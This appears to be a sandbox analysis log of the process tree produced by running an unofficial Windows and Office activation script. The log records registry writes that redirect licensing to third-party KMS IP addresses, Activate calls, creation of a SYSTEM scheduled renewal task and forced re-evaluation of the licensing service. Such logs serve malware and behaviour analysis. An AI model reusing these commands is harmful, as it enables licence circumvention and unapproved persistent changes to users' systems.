-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' get GracePeriodRemaining /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' get GracePeriodRemaining /VALUE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' get LicenseFamily /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' get LicenseFamily /VALUE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -4 -n 1 kms.0t.net.cn 2>nul7⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -4 -n 1 kms.0t.net.cn8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "14.212.203.3"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "14.212.203.3" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "14.212.203.3"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "14.212.203.3"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "14.212.203.3" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:327⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' call Activate7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -4 -n 1 kms.idina.cn 2>nul7⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -4 -n 1 kms.idina.cn8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "119.29.100.23"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "119.29.100.23" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "119.29.100.23"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "119.29.100.23"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "119.29.100.23" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:327⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' call Activate7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -4 -n 1 kms.03k.org 2>nul7⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -4 -n 1 kms.03k.org8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "23.226.136.46"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "23.226.136.46" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "23.226.136.46"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "23.226.136.46"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "23.226.136.46" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:327⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' call Activate7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -4 -n 1 kms.mc06.net 2>nul7⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -4 -n 1 kms.mc06.net8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "108.181.4.2"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "108.181.4.2" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "108.181.4.2"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "108.181.4.2"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "108.181.4.2" /reg:327⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:327⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' call Activate7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' get GracePeriodRemaining /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' get GracePeriodRemaining /VALUE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where ID='d450596f-894d-49e0-966a-fd39ed4c4c64' get LicenseFamily /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='d450596f-894d-49e0-966a-fd39ed4c4c64' get LicenseFamily /VALUE8⤵
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='d450596f-894d-49e0-966a-fd39ed4c4c64' call Activate7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where ID='d450596f-894d-49e0-966a-fd39ed4c4c64' get GracePeriodRemaining /VALUE" 2>nul7⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='d450596f-894d-49e0-966a-fd39ed4c4c64' get GracePeriodRemaining /VALUE8⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s7⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Renewal"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s7⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Run_Once"7⤵
-
-
C:\Windows\System32\schtasks.exeschtasks /delete /tn Online_KMS_Activation_Script-Renewal /f7⤵
-
-
C:\Windows\System32\schtasks.exeschtasks /delete /tn Online_KMS_Activation_Script-Run_Once /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKCR\DesktopBackground\shell\Activate Windows - Office" /f7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s7⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Renewal"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s7⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Run_Once"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s7⤵
-
-
C:\Windows\System32\find.exefind /i "\Online_KMS_Activation_Script"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKCR\DesktopBackground\shell\Activate Windows - Office"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "[Guid]::NewGuid().Guid"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "[Guid]::NewGuid().Guid"8⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd') -split \":renewal\:.*`r`n\"; [io.file]::WriteAllText('C:\Windows\Temp\294026ab6cb49-8c9f-41e6-b145-8ebc8b65e994\Renewal.xml',$f[1].Trim(),[System.Text.Encoding]::Unicode);"7⤵
-
-
C:\Windows\System32\schtasks.exeschtasks /create /tn "Activation-Renewal" /ru "SYSTEM" /xml "C:\Windows\Temp\294026ab6cb49-8c9f-41e6-b145-8ebc8b65e994\Renewal.xml"7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_0b663248-10a7-42b9-bb21-278f15d7118f.cmd') -split \":_extracttask\:.*`r`n\"; [io.file]::WriteAllText('C:\Program Files\Activation-Renewal\Activation_task.cmd', '@::6ab6cb49-8c9f-41e6-b145-8ebc8b65e994' + [Environment]::NewLine + $f[1].Trim(), [System.Text.Encoding]::ASCII)"7⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s7⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Renewal"7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "State" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "SuppressRulesEngine" /f7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Stop-Service sppsvc -force } | Wait-Job -Timeout 20 | Out-Null; $TB = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); [void]$TB.DefinePInvokeMethod('SLpTriggerServiceWorker', 'sppc.dll', 22, 1, [Int32], @([UInt32], [IntPtr], [String], [UInt32]), 1, 3); [void]$TB.CreateType()::SLpTriggerServiceWorker(0, 0, 'reeval', 0)"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\choice.exechoice /C:10 /N7⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://git.activated.win/Microsoft-Activation-Scripts7⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7fff6b5fc188,0x7fff6b5fc194,0x7fff6b5fc1a08⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1624,i,9578212702035255618,15446286425815218745,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:118⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1496,i,1937683019886888,4262759343171998454,262144 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=2124 /prefetch:28⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2344,i,8465065551407096606,9944740187236451388,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=2448 /prefetch:138⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3492,i,1874543136721199159,17206051514045341966,2097152 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3504,i,8401051644783038933,1421219735474552817,2097152 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4216,i,7318257853318075131,5159203983988226925,2097152 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4236,i,9324892547235549931,2241464816687741638,2097152 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:98⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4268,i,6530574685889759295,2015040801853491637,2097152 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4388,i,16803120364610234568,8543226241216881979,2097152 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=4416 /prefetch:98⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4520,i,5138731158285585356,15343260169564394450,2097152 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=4556 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5180,i,1560713850800479258,17198345063242880428,2097152 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:18⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3476,i,16746771164013321061,11693426314386158740,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4656,i,13281466106564981777,6200247380842226237,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4644,i,10171409004738602033,12432628053291740701,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6096,i,3447861691513428110,1976309533116787728,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6100,i,8426161592314294600,8361571439601944101,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,16566818737940437966,5088139497005916370,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:148⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3172,i,15721465710238033595,17644535548006817743,524288 --field-trial-handle=2128,i,5649137824118291737,769553007014479918,262144 --variations-seed-version --mojo-platform-channel-handle=4592 /prefetch:148⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.execookie_exporter.exe --cookie-json=11409⤵
-
-
-
